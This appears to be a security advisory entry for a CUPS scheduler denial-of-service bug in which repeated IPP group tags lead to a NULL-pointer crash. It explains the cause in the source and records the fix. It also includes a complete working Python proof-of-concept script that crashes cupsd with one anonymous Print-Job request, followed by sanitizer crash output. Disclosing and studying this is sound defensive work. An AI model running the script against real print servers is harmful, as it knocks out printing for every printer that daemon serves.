GHSA-wjc4-qhjr-5m5x on Cyberus Linux 26.05
Aliases: GHSA-wjc4-qhjr-5m5x
Packages: cups
Status: Plausible
Advisory Information
Summary
A crafted
Print-Jobrequest can crash cupsd through a NULL pointer dereference when the job starts. Repeated IPP group tags create unnamed separator attributes, whichadd_job()incorrectly converts into job attributes.Reproduced on CUPS v2.4.19 with both sanitized and non-sanitized builds. An unauthenticated client can trigger the crash if it can reach the scheduler and submit jobs to an existing queue. The crash interrupts service for all printers managed by that cupsd process.
Details
The parser creates a separator when it encounters a repeated group tag (
cups/ipp.c:6076–6083):else if (ipp->curtag == tag) ipp->prev = ippAddSeparator(ipp);
ippAddSeparator()creates an attribute withname == NULLandgroup_tag == IPP_TAG_ZERO. Request validation skips these separator entries.In
add_job(), shared byPrint-JobandCreate-Job, the following loop changes every attribute after the first two toIPP_TAG_JOB, including separators (scheduler/ipp.c:1882–1887):for (attr = job->attrs->attrs->next->next; attr; attr = attr->next) attr->group_tag = IPP_TAG_JOB;The separators retain their NULL names but lose the marker used to exclude them from processing. Two consumers then dereference the NULL name:
- Job startup, verified against a live daemon:
get_options()callsipp_length(), which evaluatesstrlen(attr->name)inscheduler/job.c:4212–4214.- Job persistence, identified by fuzzing:
cupsdSaveJob()callsippWriteIO(), which skips onlyIPP_TAG_ZEROattributes before evaluatingstrlen(attr->name)atcups/ipp.c:4689. This path is reached when a dirty terminal-state job is saved during unloading, rather than through the periodicjob.cachesummary.Preserving separator attributes during group normalization would address the cause. NULL-name checks in the consumers would provide additional protection.
Proof of concept
Test conditions
- CUPS v2.4.19.
- An existing queue that accepts jobs and is enabled to start printing.
- The submitting client has access to the scheduler and permission to submit jobs without authentication. The default operation policy permits anonymous submission, but listener and access-control settings still determine reachability.
- The queue accepts the raw document format used below.
Save the script as
/tmp/poc.py. It sends one request containing the required operation attributes followed by 39 repeated0x0agroup tags.#!/usr/bin/env python3 import socket import struct import sys HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 631 QUEUE = sys.argv[3] if len(sys.argv) > 3 else "/printers/p1" def attribute(tag, name, value): name = name.encode() value = value.encode() return ( struct.pack(">BH", tag, len(name)) + name + struct.pack(">H", len(value)) + value ) attrs = attribute(0x47, "attributes-charset", "utf-8") attrs += attribute(0x48, "attributes-natural-language", "en") attrs += attribute(0x45, "printer-uri", f"ipp://{HOST}:{PORT}{QUEUE}") attrs += attribute(0x42, "document-format", "application/vnd.cups-raw") attrs += b"\x0a" * 39 body = ( struct.pack(">BBHI", 1, 1, 0x0002, 1) + b"\x01" + attrs + b"\x03" + b"duplicate-group-tag test\n" ) request = ( f"POST {QUEUE} HTTP/1.1\r\n" f"Host: {HOST}:{PORT}\r\n" "Content-Type: application/ipp\r\n" f"Content-Length: {len(body)}\r\n" "Connection: close\r\n\r\n" ).encode() + body with socket.create_connection((HOST, PORT)) as sock: sock.settimeout(15) sock.sendall(request) try: print(sock.recv(4096)) except socket.timeout: print("No response within 15 seconds.")Run against the test queue:
python3 /tmp/poc.py 127.0.0.1 631 /printers/p1The live-daemon test accepted the job anonymously, then crashed when printing started. The non-sanitized build terminated with
SIGSEGV (SEGV_MAPERR, si_addr=NULL)approximately eight seconds after receiving the request. The sanitized build reported:job.c:4214:23: runtime error: null pointer passed as argument 1 #0 ipp_length scheduler/job.c:4214 #1 get_options scheduler/job.c:3916 #2 cupsdContinueJob scheduler/job.c:861 #3 start_job scheduler/job.c:5038 #4 cupsdCheckJobs scheduler/job.c:406 #5 print_job scheduler/ipp.c:8981Impact
This is a denial-of-service vulnerability affecting the entire scheduler, not just the submitted job or destination printer.
Where anonymous job submission is reachable, a client can crash cupsd with one request and repeat the request after a restart. Network exposure depends on the server's listening and access-control configuration. The demonstrated impact is process termination; no code execution was demonstrated.
Fix
master is unaffected [2.4.x f3fb41912e4e29dbbbe7c4afd4fe48508af21bc0] Filter out group separators in job creation requests (GHSA-wjc4-qhjr-5m5x)
Updates
2026-10-02 23:49 CEST
Metadata changes:
- Status for package
cups: “Plausible”
2026-10-02 23:44 CEST
Metadata changes:
- Status for package
cups: “New”